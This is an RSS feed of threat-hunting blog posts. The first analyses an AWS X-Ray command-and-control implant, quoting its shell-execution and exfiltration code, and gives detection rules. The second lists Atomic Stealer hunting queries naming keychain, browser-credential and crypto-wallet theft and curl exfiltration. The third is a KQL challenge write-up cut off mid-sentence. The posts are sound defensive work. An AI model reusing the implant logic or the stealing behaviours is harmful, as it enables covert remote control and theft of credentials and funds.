<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Soumyadeep Basu on Medium]]></title>
        <description><![CDATA[Stories by Soumyadeep Basu on Medium]]></description>
        <link>https://medium.com/@sbasu7241?source=rss-a96d19a73cb6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*_p98ukik1ck60kVKX_m49Q.png</url>
            <title>Stories by Soumyadeep Basu on Medium</title>
            <link>https://medium.com/@sbasu7241?source=rss-a96d19a73cb6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 11:02:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sbasu7241/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Detecting AWS X-Ray C2 Abuse]]></title>
            <link>https://sbasu7241.medium.com/detecting-aws-x-ray-c2-abuse-6c55122ff53a?source=rss-a96d19a73cb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c55122ff53a</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[aws-x-ray]]></category>
            <dc:creator><![CDATA[Soumyadeep Basu]]></dc:creator>
            <pubDate>Wed, 15 Oct 2025 07:03:42 GMT</pubDate>
            <atom:updated>2025-10-15T07:09:05.261Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hunting AWS X-Ray C2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y7iXZJK7mIlHWnnC.jpg" /></figure><p>In this post we are going to cover how to hunt for implants that abuse xray.amazonaws.com for C2 as well as detection opportunities on AWS side.</p><p>In short the implant uses AWS X-Ray (<em>Amazon’s distributed application tracing service</em>) as a command and control channel. To understand in detail how the C2 communication works please refer to this article — <a href="https://medium.com/@dhiraj_mishra/ghost-in-the-cloud-weaponizing-aws-x-ray-for-command-control-7539d60f1d77">https://medium.com/@dhiraj_mishra/ghost-in-the-cloud-weaponizing-aws-x-ray-for-command-control-7539d60f1d77</a></p><h3><strong>Implant code analysis</strong></h3><p>The implant code can be found here <a href="https://github.com/RootUp/XRayC2/blob/main/build.sh">https://github.com/RootUp/XRayC2/blob/main/build.sh</a></p><p>Let’s walk through the code line by line and record important observations from a detection standpoint</p><pre>const (<br> accessKey = &quot;REPLACE_ACCESS_KEY&quot;<br> secretKey = &quot;REPLACE_SECRET_KEY&quot;<br> region    = &quot;eu-west-1&quot;<br> service   = &quot;xray&quot;<br>)</pre><ul><li>Hardcoded AWS credentials &amp; service name are present inside the implant. We can search for patterns like AKIA etc. Keys embedded in binaries are an IOC</li></ul><pre>func executeSystemCommand(command string) string {<br> var cmd *exec.Cmd<br> switch runtime.GOOS {<br> case &quot;windows&quot;:<br>  cmd = exec.Command(&quot;cmd&quot;, &quot;/c&quot;, command)<br> default:<br>  cmd = exec.Command(&quot;sh&quot;, &quot;-c&quot;, command)<br> }<br>...(truncated)</pre><ul><li>This function does the payload execution — a process launching sh -c cmd /c shortly after making POST request to an AWS X-Ray endpoint is a strong indicator of abuse</li></ul><pre>func computeHMACSHA256(key []byte, data []byte) []byte <br> ...(truncated)<br><br>func signAWSRequest(request *http.Request, body []byte) {<br> now := time.Now().UTC()<br> datestamp := now.Format(&quot;20060102&quot;)<br> timestamp := now.Format(&quot;20060102T150405Z&quot;)<br> ...(truncated)<br><br> request.Header.Set(&quot;Host&quot;, request.URL.Host)<br> request.Header.Set(&quot;X-Amz-Date&quot;, timestamp)<br> request.Header.Set(&quot;Content-Type&quot;, &quot;application/x-amz-json-1.1&quot;)<br><br>...(truncated)<br>// Create string to sign<br> algorithm := &quot;AWS4-HMAC-SHA256&quot;<br><br>...(truncated)<br>// Add authorization header<br> authorization := fmt.Sprintf(&quot;%s Credential=%s/%s, SignedHeaders=%s, Signature=%s&quot;,<br>  algorithm,<br>  accessKey,<br>  credentialScope,<br>  signedHeaders,<br>  signature)<br><br> request.Header.Set(&quot;Authorization&quot;, authorization)</pre><ul><li>If proxy logs capture headers, hunting for x-amz-date and Authorization header containing AWS4-HMAC-SHA256 together with request to xray.*.amazonaws.com can be a good idea</li></ul><pre>func publishMetrics(instanceId string, response string) error {<br> ...(truncated)<br> <br> if response != &quot;&quot; {<br>  segment.Annotations[&quot;execution_result&quot;] = base64.StdEncoding.EncodeToString([]byte(response))<br> } <br><br> payload := map[string]interface{}{<br>  &quot;TraceSegmentDocuments&quot;: []string{string(segmentJSON)},<br> }<br><br> body, _ := json.Marshal(payload)<br><br> url := fmt.Sprintf(&quot;https://xray.%s.amazonaws.com/TraceSegments&quot;, region)<br> req, err := http.NewRequest(&quot;POST&quot;, url, bytes.NewBuffer(body))</pre><ul><li>The implant uses the telemetry API TraceSegments to exfil/upload command outputs over a legitimate looking channel.</li><li>Monitoring for unexpected large number of PutTraceSegments API call in CloudTrail over a period of time can be useful.</li></ul><pre>func pollConfiguration(instanceId string) (string, error) {<br> ...(truncated)<br><br> url := fmt.Sprintf(&quot;https://xray.%s.amazonaws.com/TraceSummaries&quot;, region)<br> req, err := http.NewRequest(&quot;POST&quot;, url, bytes.NewBuffer(body))<br></pre><ul><li>The implant pollsTraceSummaries API periodically to fetch operator sent commands.</li><li>Monitoring for unexpected large number of GetTraceSummaries API call in CloudTrail can be useful</li><li>Additionally large number of POST requests to xray.*.amazonaws.com especially from an endpoint maybe treated as suspicious</li></ul><h3><strong>Detections</strong></h3><h4>Host based detection</h4><p>a. Unusual AWS API usage by unsigned Non-AWS-Binaries</p><p>Use Yara rule to detect Go Binaries with hardcoded keys and inbuilt AWS signing logic making outbound HTTP request to xray.&lt;region&gt;.amazonaws.com</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/709206fa603aa9c86c0a33a411135e9a/href">https://medium.com/media/709206fa603aa9c86c0a33a411135e9a/href</a></iframe><p>b. Process command monitoring</p><p>Monitor unsigned files named aws-cli or ones masquerading as legitimate aws files (<em>not signed by amazon or missing signature</em>) making outbound connections to AWS endpoints and spawning suspicious child process to run system commands usingsh or cmd</p><pre>If process.name contains &quot;aws&quot; AND<br>  process connects to &quot;*.amazonaws.com&quot; AND<br>  process spawns child process in [&quot;cmd.exe&quot;, &quot;powershell.exe&quot;, &quot;sh&quot;, &quot;bash&quot;]<br>Then alert</pre><h4>Network based detection</h4><p>a. AWS X-Ray Endpoint Abuse</p><p>Monitor unusal repeated outbound POST requests to xray.*.amazonaws.com endpoints with application/x-amz-json-1.1 content type. Also look for base64-encoded payloads or system command output in HTTP request bodies</p><p><em>Suricata rule to detect AWS X-Ray C2 Activity</em></p><blockquote>alert http any any -&gt; any any ( msg:”Suspicious AWS X-Ray C2 Activity (TraceSegments/TraceSummaries)”; flow:to_server, established; http.method; content:”POST”; http.uri; content:”/TraceSegments”; nocase; http.uri; content:”/TraceSummaries”; nocase; http.header; content:”application/x-amz-json-1.1&quot;; nocase; http.host; content:”.amazonaws.com”; nocase; threshold:type threshold, track by_src, count 30, seconds 3600; classtype:trojan-activity; sid:1000001; rev:1;)</blockquote><p><em>Sigma rule to detect Suspicious AWS X-Ray C2 Activity</em></p><pre>title: Suspicious AWS X-Ray C2 Activity<br>id: cf46aa86-5960-4664-99de-79f238873573<br>status: experimental<br>description: Detects repeated POSTs to AWS X-Ray endpoints with SigV4 headers and periodic polling consistent with C2 implants.<br>author: Soumyadeep Basu<br>logsource:<br>  product: network<br>  service: http<br>detection:<br>  selection_http:<br>    http.request.method: POST<br>    http.request.uri|contains:<br>      - &quot;/TraceSegments&quot;<br>      - &quot;/TraceSummaries&quot;<br>    http.request.headers|contains:<br>      - &quot;x-amz-date&quot;<br>      - &quot;authorization&quot;<br>  timeframe: 10m<br>  condition: selection_http and count(selection_http) &gt;= 5<br>level: high<br>falsepositives:<br>  - Legitimate observability tooling (verify known hosts)<br>tags:<br>  - attack.command_and_control<br>  - attack.exfiltration</pre><p>Many legitimate services will call X-Ray from known servers in observability pipelines. If your environment has no legitimate usecase for X-Ray/alert on any outbound traffic towards xray.*.amazonaws.com</p><h4>Cloud based detection</h4><p>a. CloudTrail API call frequency</p><ul><li>Watch out for API calls to xray.amazonaws.com — PutTraceSegements , GetTraceSummaries and BatchGetTraces</li><li>Alert on these X-Ray API calls from unexpected IAM users/roles and high frequency calls (eg &gt;5 in 10 mins from the same key)</li></ul><p><em>Sample Athena query</em></p><pre>SELECT<br>  eventName,<br>  userIdentity.arn,<br>  sourceIPAddress,<br>  count(*) AS cnt<br>FROM cloudtrail_table<br>WHERE eventSource = &#39;xray.amazonaws.com&#39;<br>  AND eventName IN (&#39;PutTraceSegments&#39;, &#39;GetTraceSummaries&#39;, &#39;BatchGetTraces&#39;)<br>GROUP BY<br>  eventName,<br>  userIdentity.arn,<br>  sourceIPAddress<br>HAVING cnt &gt; 5;</pre><h4>Detection strategy summarised</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bPh3D0NHTcxZmBJA" /></figure><h3>Response</h3><p><strong>Triage</strong></p><ul><li>Identify affected hosts using EDR (process name aws-cli or network flows to xray.*.amazonaws.com).</li><li>Pull recent process spawn trees and network connections.</li></ul><p><strong>Contain</strong></p><ul><li>Isolate hosts from network (or block outbound traffic to xray.*.amazonaws.com on your firewall/proxy).</li><li>Revoke or rotate AWS keys suspected to be embedded or compromised.</li><li>If keys are in an AWS account, immediately disable the IAM user and rotate credentials.</li></ul><p><strong>Collect</strong></p><ul><li>Preserve binary (/path/to/aws-cli), memory if possible, and relevant logs (proxy, firewall, CloudTrail, EDR).</li><li>Export process dumps and network captures.</li></ul><p><strong>Analyze</strong></p><ul><li>Run YARA on binaries to confirm.</li><li>Look at CloudTrail for X-Ray API usage and the source IPs and principals.</li><li>Decode base64 blobs found in X-Ray trace annotations (they may contain command output or command strings).</li></ul><p><strong>Eradicate &amp; Remediate</strong></p><ul><li>Remove malicious binaries, remediate persistence mechanisms.</li><li>Rotate all credentials with potential exposure.</li></ul><p><strong>Lessons Learned</strong></p><ul><li>Harden IAM (least privilege, rotate keys, MFA).</li><li>Restrict outbound access to AWS control plane endpoints from places that don’t need it.</li><li>EDR rules to detect process that contact xray.*.amazonaws.com and spawn shell commands after network activity</li><li>Ensure CloudTrail logging and GuardDuty are enabled for all accounts.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c55122ff53a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting for Atomic Stealer (MacOS malware)]]></title>
            <link>https://sbasu7241.medium.com/hunting-for-atomic-stealer-macos-malware-53d3976b2ff9?source=rss-a96d19a73cb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/53d3976b2ff9</guid>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[stealer-malware]]></category>
            <dc:creator><![CDATA[Soumyadeep Basu]]></dc:creator>
            <pubDate>Sun, 06 Apr 2025 18:32:42 GMT</pubDate>
            <atom:updated>2025-04-06T18:45:34.540Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j6XBOagXL23ffEKB" /></figure><p>Recently I came across a <a href="https://www.virustotal.com/gui/file/8f850c8a9e1c24f6bf1fead7f19fe472d8f57871e02aef9da94366474b9f47ef">sample</a> that is associated with the Atomic macOS (AMOS) Stealer malware and uses osascript to execute AppleScript to steal and exfiltrate data from mac systems. Mac based threats are new to me, so I decided to look at potential detection opportunities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/0*iJO-5F_daIluMqWk" /></figure><p>Atomic Stealer was first seen in April 2023 and since then has been sold as a malware-as-a-service (MaaS) via various telegram hacking groups and forums. Initial infection usually happens via tricking the user into downloading a seemingly legitimate .dmg binary which in actual is a shell script. Next the user is guided to right click and open the application present in the .dmg file. This tactic is used by various macOS based stealers to bypass Gatekeeper warnings.</p><p>This action executes the shell script which uses osascript utility to execute various malicious tasks</p><ul><li>Hides the terminal window to avoid detection</li><li>Creates a random temporary directory in /tmp to store stolen data</li><li>Collects system information (hardware, software, display specs)</li><li>Attempts to steal user password through either: <br>- Extracting it from the keychain, or<br>- Displaying a fake “System Preferences” dialog asking for password</li><li>Steals browser data from multiple browsers including:<br>- Chrome, Firefox, Brave, Edge, Safari, and others<br>- Targets cookies, login data, form history, and saved passwords<br>- Specifically targets cryptocurrency-related browser extensions</li><li>Harvests cryptocurrency wallet data from numerous applications:<br>- Electrum, Coinomi, Exodus, Atomic, Wasabi, Ledger Live, and others<br>- Copies wallet files, private keys, and wallet configuration data</li><li>Steals Telegram messenger data</li><li>Targets sensitive files from user directories (Desktop, Documents, Downloads):<br>- Focuses on specific file types: txt, pdf, docx, wallet, key, keys, doc, json, db</li><li>Steals Apple Notes data, including associated media files</li><li>Compresses all stolen data into a zip file</li><li>Exfiltrates data to a remote server via HTTP POST</li><li>Removes all evidence by deleting temporary files and directories</li></ul><p>The executed script was forensically captured and can be found <a href="https://gist.github.com/sbasu7241/eae6e40518eabbd55341f23ebb16b769">here</a></p><h4>TTP #1 — Terminal Window Hiding</h4><p>Hunt for osascript processes with commands containing “Terminal” and “set visible” and “false”</p><pre>event_type = &quot;processcreate&quot; AND<br>process_name = &quot;osascript&quot; AND<br>(<br>  cmdline CONTAINS &quot;Terminal&quot; AND <br>  cmdline CONTAINS &quot;set visible&quot; AND <br>  cmdline CONTAINS &quot;false&quot;<br>)</pre><h4>TTP #2 — Random Temporary Directory Creation</h4><p>Look for random-numbered directories created under /tmp (pattern: /tmp/XXXX/ where X is a digit)</p><pre>event_type = &quot;processcreate&quot; AND<br>process_name = &quot;osascript&quot; AND<br>(<br>  cmdline CONTAINS &quot;mkdir&quot; AND<br>  cmdline CONTAINS &quot;/tmp/&quot;<br>) AND<br>cmdline REGEX &quot;\/tmp\/[0-9]{4}\/&quot;</pre><h4>TTP #3 — Information Gathering via System Profiler</h4><p>Search for system_profiler commands collecting multiple system information types at once</p><pre>event_type = &quot;processcreate&quot; AND<br>process_name = &quot;osascript&quot; AND<br>cmdline CONTAINS &quot;system_profiler&quot; AND<br>(<br>  cmdline CONTAINS &quot;SPSoftwareDataType&quot; OR <br>  cmdline CONTAINS &quot;SPHardwareDataType&quot; OR <br>  cmdline CONTAINS &quot;SPDisplaysDataType&quot;<br>)</pre><h4>TTP #4 — Fake System Dialog for Credential Harvest</h4><p>Hunt for osascript processes creating dialog boxes with “System Preferences” title or “Please enter password”</p><pre>event_type = &quot;processcreate&quot; AND<br>process_name = &quot;osascript&quot; AND<br>(<br>  cmdline CONTAINS &quot;display dialog&quot; AND<br>  cmdline CONTAINS &quot;System Preferences&quot; AND <br>  cmdline CONTAINS &quot;hidden answer&quot;<br>)</pre><h4>TTP #5 — Password Validation Check via DSCL from Uncommon Process</h4><p>Search for dscl authentication attempts originating from scripts rather than legitimate auth processes</p><pre>event_type = &quot;processcreate&quot; AND<br>parent_process_name = &quot;osascript&quot; AND<br>cmdline CONTAINS &quot;dscl . authonly&quot;</pre><h4>TTP #6 — Keychain Password Extraction</h4><p>Look for “security find-generic-password” commands in unusual process lineages</p><pre>event_type = &quot;processcreate&quot; AND<br>parent_process_name = &quot;osascript&quot; <br>cmdline CONTAINS &quot;security&quot; AND<br>cmdline CONTAINS &quot;find-generic-password&quot;</pre><h4>TTP #7 — Browser Sensitive File Access</h4><p>Hunt for sequential access to multiple browser data directories within short timeframes</p><p>Search for processes accessing cookie stores, login databases, local storage and web data across different browsers</p><pre>event_type = &quot;file&quot; AND<br>process_name = &quot;osascript&quot; AND<br>(<br> target_file_path REGEX &quot;\/Google\/Chrome\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/BraveSoftware\/Brave-Browser\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/Microsoft Edge\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/Vivaldi\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/com\.operasoftware\.Opera\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/com\.operasoftware\.OperaGX\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/Google\/Chrome Beta\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/Google\/Chrome Canary\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/Chromium\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/Google\/Chrome Dev\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/Arc\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/Coccoc\/(Default|Profile.*)\/(Cookies|Login Data|Web Data)&quot; OR<br> target_file_path REGEX &quot;\/Firefox\/Profiles\/.*\/(cookies\.sqlite|formhistory\.sqlite|key4\.db|logins\.json)&quot; OR<br> target_file_path REGEX &quot;\/Waterfox\/Profiles\/.*\/(cookies\.sqlite|formhistory\.sqlite|key4\.db|logins\.json)&quot; OR<br> target_file_path REGEX &quot;\/Pale Moon\/Profiles\/.*\/(cookies\.sqlite|formhistory\.sqlite|key4\.db|logins\.json)&quot; OR<br> target_file_path CONTAINS &quot;Cookies.binarycookies&quot; OR<br> target_file_path CONTAINS &quot;Local Storage/leveldb&quot;<br> )</pre><h4>TTP #8 — Suspicious Browser Extension Access Pattern</h4><p>Hunt for processes accessing browser extension data for cryptocurrency wallets and trading platforms</p><pre>event_type = &quot;file&quot; AND<br>target_file_path CONTAINS &quot;Local Extension Settings&quot; AND<br>process_name = &quot;osascript&quot; AND<br>(<br>  COUNT(DISTINCT target_file_path) &gt; 3 WITHIN 1 MINUTE<br>)</pre><h4>TTP #8 — Multiple Cryptocurrency Wallet Access Attempt</h4><p>Search for processes searching for multiple wallet directories across different cryptocurrency applications</p><pre>event_type = &quot;file&quot; AND<br>process_name = &quot;osascript&quot; AND<br>(<br>  target_file_path CONTAINS &quot;/.electrum/wallets/&quot; OR<br>  target_file_path CONTAINS &quot;/Coinomi/wallets/&quot; OR<br>  target_file_path CONTAINS &quot;/Exodus/&quot; OR<br>  target_file_path CONTAINS &quot;/atomic/Local Storage/leveldb/&quot; OR<br>  target_file_path CONTAINS &quot;/.walletwasabi/client/Wallets/&quot; OR<br>  target_file_path CONTAINS &quot;/Ledger Live/&quot; OR<br>  target_file_path CONTAINS &quot;/Monero/wallets/&quot; OR<br>  target_file_path CONTAINS &quot;/Bitcoin/wallets/&quot; OR<br>  target_file_path CONTAINS &quot;/Litecoin/wallets/&quot; OR<br>  target_file_path CONTAINS &quot;/DashCore/wallets/&quot; OR<br>  target_file_path CONTAINS &quot;/.electrum-ltc/wallets/&quot; OR<br>  target_file_path CONTAINS &quot;/.electron-cash/wallets/&quot; OR<br>  target_file_path CONTAINS &quot;/Guarda/&quot; OR<br>  target_file_path CONTAINS &quot;/Dogecoin/wallets/&quot; OR<br>  target_file_path CONTAINS &quot;/@trezor/suite-desktop/&quot;<br>)</pre><p>Search for processes reading Binance and TonKeeper specific config files</p><pre>event_type = &quot;file&quot; AND<br>(<br>  target_file_path CONTAINS &quot;Binance/app-store.json&quot; OR<br>  target_file_path CONTAINS &quot;@tonkeeper/desktop/config.json&quot;<br>) AND<br>process_name = &quot;osascript&quot;</pre><h4>TTP #9 — Wallet Files Read Operation by Uncommon Process</h4><p>Hunt for read operations on wallet.dat files, seed phrase storage, and private key locations</p><pre>event_type = &quot;file&quot; AND<br>process_name = &quot;osascript&quot; AND<br>(<br>    target_file_path REGEX &quot;.*\\.wallet$&quot; OR<br>    target_file_path CONTAINS regex &quot;.*wallet\\.dat$&quot; OR<br>    target_file_path CONTAINS &quot;private_keys&quot; OR<br>    target_file_path CONTAINS &quot;wallets&quot;<br>)</pre><h4>TTP #10 — Telegram Data Access by Uncommon Process</h4><p>Look for read/copy operations on files present in telegram data directory from suspicious process</p><pre>event_type = &quot;File&quot; AND<br>target_file_path CONTAINS &quot;Telegram Desktop/tdata/&quot; AND<br>process_name = &quot;osascript&quot; AND<br>(COUNT(target_file_path) &gt; 10 WITHIN 1 MINUTE)</pre><h4>TTP #11 — Sensitive User Document Access</h4><p>Hunt for bulk file operations targeting specific sensitive extensions (.pdf, .wallet, .key, .doc)</p><p>Search for processes scanning Desktop, Documents, and Downloads folders with selective file copying</p><pre>event_type = &quot;File&quot; AND<br>(<br>    target_file_path REGEX &quot;\/Users\/[^\/]+\/(Desktop|Documents|Downloads)\/.*\\.(pdf|docx|wallet|key|keys|doc|json)$&quot;<br>) AND<br>process_name = &quot;osascript&quot; AND<br>(COUNT(DISTINCT target_file_path) &gt; 5 WITHIN 2 MINUTES)</pre><h4>TTP #12 — Apple Notes Database &amp; Media Access</h4><p>Look for unexpected access to Apple Notes databases and media files</p><pre>event_type = &quot;File&quot; AND<br>target_file_path CONTAINS &quot;group.com.apple.notes&quot; AND<br>(<br>  target_file_path CONTAINS &quot;NoteStore.sqlite&quot; OR<br>  target_file_path CONTAINS &quot;NoteStore.sqlite-wal&quot; OR<br>  target_file_path CONTAINS &quot;NoteStore.sqlite-shm&quot;<br>) AND<br>process_name = &quot;osascript&quot;</pre><pre>event_type = &quot;File&quot; AND<br>target_file_path CONTAINS &quot;group.com.apple.notes/Accounts/LocalAccount/Media&quot; AND<br>process_name = &quot;osascript&quot;</pre><h4>TTP #13 — Apple Keychain Database access</h4><p>Hunt for suspicious processes reading Apple keychain files</p><pre>event_type = &quot;File&quot; AND<br>target_file_path CONTAINS &quot;login.keychain-db&quot; AND<br>process_name = &quot;osascript&quot;</pre><h4>TTP #14 — Suspicious Data Compression</h4><p>Search for ditto compression commands targeting directories with recently copied sensitive data</p><pre>event_type = &quot;Process&quot; AND<br>process_name = &quot;ditto&quot; AND<br>cmdline CONTAINS &quot;-c -k&quot; AND<br>cmdline CONTAINS &quot;/tmp/&quot; AND<br>cmdline CONTAINS &quot;.zip&quot; AND<br>parent_process_name = &quot;osascript&quot;</pre><h4>TTP #15 — Suspicious POST requests with attachments from uncommon process</h4><p>Hunt for curl POST requests with file attachments, especially with custom HTTP headers</p><pre>event_type = &quot;Process&quot; AND<br>process_name = &quot;curl&quot; AND<br>parent_process_name = &quot;osascript&quot; AND<br>cmdline CONTAINS &quot;POST&quot; AND<br>cmdline CONTAINS &quot;-F \&quot;file=@/tmp/&quot; AND<br>cmdline CONTAINS &quot;.zip\&quot;&quot; AND<br>parent_process_name = &quot;osascript&quot;</pre><pre>event_type = &quot;Process&quot; AND<br>process_name = &quot;curl&quot; AND<br>parent_process_name = &quot;osascript&quot; AND<br>cmdline CONTAINS &quot;-H \&quot;user:&quot; AND<br>cmdline CONTAINS &quot;-H \&quot;BuildID:&quot;</pre><h4>TTP #16 — Rapid Temporary Directory Deletion</h4><p>Search for rapid mass file deletion operations of temporary files in /tmp</p><pre>event_type = &quot;Process&quot; AND<br>process_name = &quot;rm&quot; AND<br>cmdline CONTAINS &quot;-r&quot; AND<br>cmdline REGEX &quot;\/tmp\/[0-9]{4}\/&quot;</pre><p>The hunt TTPs outlined here provide multiple opportunities for identify MacOS threats (including Atomic Stealer) across the entire execution lifecycle. Good luck and happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=53d3976b2ff9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kusto Detective Agency — Big heist (Part 5 of 5)]]></title>
            <link>https://sbasu7241.medium.com/kusto-detective-agency-big-heist-part-5-of-5-4ed633b719a5?source=rss-a96d19a73cb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ed633b719a5</guid>
            <category><![CDATA[kql]]></category>
            <category><![CDATA[sentinel]]></category>
            <dc:creator><![CDATA[Soumyadeep Basu]]></dc:creator>
            <pubDate>Tue, 21 Feb 2023 15:48:28 GMT</pubDate>
            <atom:updated>2023-02-21T17:14:38.287Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kusto Detective Agency — Big heist (Part 5 of 5)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*iqRpzCKh3zlOdMbs.png" /></figure><p>While browsing twitter, I came across <a href="https://detective.kusto.io/">Kusto Detective Agency</a> — a gamified way of learning Kusto Query Language (KQL).</p><p>There are a set of five challenges that participants are required to solve using their KQL skills and earn badges. Challenges are in the form of cases that need to be investigated by a detective agency (the storyline is awesome :P)</p><p>To start, participants are required to create a free Kusto cluster and separate data ingestion scripts are provided on a case to case basis.</p><h4>Challenges</h4><ul><li>Challenge 1: The rarest book is missing! (<a href="https://medium.com/@sbasu7241/kusto-detective-agency-the-rarest-book-is-missing-part-1-of-5-2a956b7ad8a1"><em>Here</em></a>)</li><li>Challenge 2: Election fraud? (<a href="https://sbasu7241.medium.com/kusto-detective-agency-election-fraud-part-2-of-5-83c24559e35e"><em>Here</em></a>)</li><li>Challenge 3: Bank robbery (<a href="https://medium.com/@sbasu7241/kusto-detective-agency-bank-robbery-part-3-of-5-fd827e16de13"><em>Here</em></a>)</li><li>Challenge 4: Ready to play? (<a href="https://sbasu7241.medium.com/kusto-detective-agency-ready-to-play-part-4-of-5-ffb664038293"><em>Here</em></a>)</li><li>Challenge 5: Big heist (<em>Current Article</em>)</li></ul><h4>Big Heist</h4><p>— — — — —</p><p>The challenge starts with the news of a heist that is supposed to happen soon. We are required to find out the exact place (latitude and longitude) and time (DD-MM-YYYY) of the heist. We are also provided with some key information about the gang members.</p><ul><li>There are 4 members in the gang</li><li>The gang has a dedicated channel on the public chat server through which all of its members communicate.</li><li>We are given a small utility to sneak into the gang members machine’s and find more hints:<br>https://sneakinto.z13.web.core.windows.net/&lt;ip&gt;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LjMVFn_Ttk833ekOn6oe-Q.png" /></figure><p>Let’s run the provided ingestion script…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8rqsICMclQ5cduTAIffUIQ.png" /></figure><p>Once the data has been ingested let’s check the row count.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*IblJaeKZFitd0AzPhJi3vQ.png" /></figure><pre>ChatLogs<br>| count</pre><p>We have a table with two columns — TimeStamp and Message. Let’s do some data exploration…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u0gMQ8EZJJqOIewXRNOuOw.png" /></figure><p>After reviewing the message column entries we can come to the conclusion that all <em>Messages </em>belong to one of these types:</p><blockquote>· User X logged in from IP</blockquote><blockquote>· User X logged out from the server</blockquote><blockquote>· User X joined the channel Y</blockquote><blockquote>· User X left the channel Y</blockquote><blockquote>· User X sent message to the user Y</blockquote><blockquote>· User X sent message to the channel Z</blockquote><p>We will use the <a href="https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/extractfunction">extract</a> function along with appropriate regex patterns to carve out only relevant fields from the entire Message. For starters, let’s try to extract the username and IP address from “<em>&lt;user&gt; logged in from &lt;IP&gt; message</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GKH5kj-gvhM1o7LGFsngtg.png" /></figure><pre>ChatLogs<br>| where Message matches regex &quot;.*logged in from.*&quot;<br>| extend IP = extract(&quot;logged in from &#39;([0-9.]+)&#39;&quot;,1,Message)<br>| extend User = extract(&quot;User &#39;([a-z0-9]+)&#39; &quot;,1,Message)<br>| distinct User,IP</pre><p>Next let’s set up the logic for the subsequent queries…</p><ul><li>Each gang member will login into the dedicated channel only i.e. if a user is a gang member then distinct count of logged in channels should be 1</li><li>The gang channel should have distinct count of users joined equal to 4 since no other regular user other than gang members would be logging into the channel</li></ul><p>So, we will filter for only “<em>&lt;user&gt; joined the &lt;channel &gt;</em>” messages and then group by <em>User</em> to see the count of distinct channels the user has joined. Next we will filter for only those entries where this count of distinct channel is 1 and display a list of the corresponding channels.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WP6VoAojvxXiohd3nsDvaA.png" /></figure><pre>ChatLogs<br>| where Message matches regex &quot;.*joined the channel.*&quot;<br>| extend User = extract(&quot;User &#39;([a-z0-9]+)&#39; &quot;,1,Message)<br>| extend channel = extract(&quot;channel &#39;([a-z0-9]+)&#39;&quot;,1,Message)<br>| summarize count_channel = array_length(make_set(channel)), make_set(channel) by User<br>| where count_channel == 1<br>| project channel = tostring(set_channel[0])<br>| distinct channel</pre><p>Next, we will again filter for the same “<em>&lt;user&gt; joined the &lt;channel &gt;</em>” messages and this time group by <em>Channel</em> to find the distinct count of users joining the channel. We are looking for only those channels which fall in the first list AND where no of users joined is a multiple of 4 AND distinct no of users joined are exactly 4.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2hFkJ7IMF_ZhcrqQf8JiQ.png" /></figure><p>We have our gang channel — <em>cf053de3c7b</em>. Let’s use 